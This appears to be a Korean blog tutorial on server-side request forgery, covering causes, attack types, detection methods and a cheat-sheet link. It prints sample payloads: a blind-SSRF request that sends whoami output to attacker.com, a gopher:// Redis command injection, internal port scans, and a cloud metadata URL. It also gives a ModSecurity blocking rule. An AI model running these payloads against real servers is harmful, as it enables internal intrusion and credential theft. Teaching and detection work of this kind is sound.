SSRF(Server-Side Request Forgery) 취약점
1. 서버측 요청 위조 (SSRF)
1.1 SSRF 정의
Server-Side Request Forgery(SSRF)는 서버가 외부 입력을 기반으로 네트워크 요청을 수행하는 과정에서 공격자가 서버를 통해 내부 네트워크, 클라우드 메타데이터 서비스, 비공개 API 등에 악성 요청을 보내도록 유도하는 보안 취약점이다.
공격자는 이러한 취약점을 이용해 제한된 네트워크 자원에 접근하거나 민감한 데이터를 탈취할 수 있다.
SSRF는 서버가 다른 서버와 통신하는 과정에서 발생하며, 다양한 서비스에서 네트워크 요청을 처리할 때 공격자가 이를 악용할 수 있는 가능성이 존재한다.
SSRF는 특히 클라우드 환경이나 가상화된 환경에서 더욱 위험할 수 있으며, 공격자가 내부 네트워크나 메타데이터 서비스를 악용해 시스템 권한을 탈취하거나 중요 정보를 노출시킬 수 있다.
1.2 SSRF 주요 원인
- 외부 입력(URL, 도메인, IP 주소 등)을 검증 없이 서버에서 요청하는 경우
- 내부 서비스에서 직접 요청을 수행하는 기능(Proxy, Webhook, Fetch API 등)
- 클라우드 메타데이터 서비스 접근 가능(AWS, GCP, Azure 등)
- Open Redirect를 활용한 내부 서비스 탐색
- Gopher, File, FTP 등 비정상적인 프로토콜 미제한
- DNS Rebinding을 통한 내부 네트워크 접근
2. SSRF 원리
2.1 SSRF의 작동 방식
SSRF 공격은 서버가 네트워크 요청을 직접 수행하는 경우 발생한다.
사용자가 입력한 URL이나 IP 주소를 서버가 외부 요청으로 처리하는 과정에서, 공격자는 이를 악용하여 서버가 의도한 대로 요청을 보내도록 유도한다.
이를 통해 공격자는 서버가 내부 네트워크나 비공개 API에 접근하도록 만들어 중요한 정보를 탈취하거나 시스템을 공격할 수 있다.
SSRF 네트워크 요청 흐름
- 사용자가 외부 입력을 통해 URL을 전달 (예: API 요청 파라미터)
- 서버가 입력된 URL을 대상으로 요청 수행 (
curl
,file_get_contents()
,fetch()
등 사용) - 요청이 내부 네트워크(예:
127.0.0.1:80
또는169.254.169.254/latest/meta-data/
)로 전송됨 - 내부 시스템이 응답을 반환하며, 공격자는 이를 활용하여 정보 수집 및 추가 공격 수행
2.2 SSRF 공격에 취약한 환경
- 웹 서버: 서버가 외부 URL을 직접 호출하는 기능을 갖고 있을 때 (예: 웹훅, 이미지 로딩, REST API 호출 등)
- 클라우드 인프라: 메타데이터 서비스가 직접 접근 가능한 경우, SSRF 공격을 통해 클라우드 리소스에 접근할 수 있다.
- 내부 서비스와의 직접 통신: 서버가 내부 시스템에 요청을 보내는 기능을 제공하는 경우, 공격자는 이를 통해 시스템을 탐지하고 악용할 수 있다.
3. SSRF 공격 메커니즘 및 예제
3.1 기본 SSRF 공격
목적: 방화벽 내부의 비공개 리소스 접근
공격 예제:
curl -X GET "http://target.com/api?url=http://127.0.0.1:22"
- 내부 서비스 스캔 수행
- HTTP 에러 코드 분석으로 내부 서비스 탐색
3.2 Blind SSRF
목적: 응답이 없는 환경에서도 DNS 또는 타이밍 기반으로 SSRF 실행
공격 예제:
curl -X GET "http://target.com/api?url=http://attacker.com/log?ip=$(whoami)"
- 공격자가 운영하는 서버(
attacker.com
)로 요청을 리디렉션하여 내부 사용자 정보 수집
3.3 SSRF to RCE
목적: 내부 서비스에서 코드 실행 유도
공격 예제 (Redis):
GET /api?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%2411%0D%0AAUTH%20password%0D%0A
- Gopher 프로토콜을 활용하여 Redis 인증 우회 및 명령 실행
3.4 SSRF 기반 포트 스캐닝
목적: 내부 네트워크 포트 열림 여부 확인
공격 예제:
curl -X GET "http://target.com/api?url=http://127.0.0.1:22"
- 응답 시간과 에러 메시지를 기반으로 열린 포트 식별
3.5 DNS Rebinding을 활용한 SSRF
목적: 방화벽 내부 도메인을 우회하여 공격 수행
공격 예제:
- 악성 DNS 서버 설정 (
attacker.com
이 내부 IP로 재해석되도록 유도) http://attacker-controlled.com
로 요청 유도 후 내부 네트워크로 변경
4. SSRF 탐지 기법
4.1 접근 로그 및 네트워크 트래픽 분석
- 서버 로그에서 내부 IP (
127.0.0.1
,10.x.x.x
,169.254.x.x
)로의 요청 확인 - 예상치 못한 프로토콜 (
file://
,gopher://
,ftp://
) 사용 여부 분석 - 내부 서비스로의 HTTP 요청 패턴 파악
4.2 WAF 및 IDS/IPS 활용
ModSecurity SSRF 탐지 규칙 예제:
SecRule REQUEST_URI "(127\.0\.0\.1|169\.254\.169\.254)" "id:1001,log,deny,status:403"
4.3 DNS Rebinding 탐지
dig example.com
실행 후 변조 여부 확인- 내부 IP로 해석되는 외부 도메인 존재 여부 확인
4.4 Honeypot 기법 적용
- SSRF 미끼 URL 설정 후 접근 기록 분석
- 예:
http://fake-internal-service.local/api
설정 후 SSRF 시도 탐지
4.5 네트워크 트래픽 모니터링
- 비정상적인 HTTP 요청 패턴 탐지
- 클라우드 메타데이터 서버로의 의심스러운 트래픽 감지
4.6 시스템 콜 기반 탐지
strace
또는ptrace
를 사용하여 비정상적인 네트워크 요청 감지- SSRF 시도가 의심되는 프로세스 분석
5. SSRF 치트시트
실무에서 정말 많이쓰고 완전 유용함 .
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy
This cheat sheet contains payloads for bypassing URL validation. These wordlists are useful for attacks such as server-side request forgery, CORS ...
portswigger.net
'정보보안' 카테고리의 다른 글
해커용 검색엔진 : 쇼단 (shodan.io) 명령어 모음 (0) | 2024.01.20 |
---|---|
안드로이드 APK 분석 (디컴파일링, 리버싱) (0) | 2024.01.03 |
[정보보안기사] 정보보호 개요 (2) | 2023.05.24 |
모의해킹 기술면접 준비 (2) | 2023.04.06 |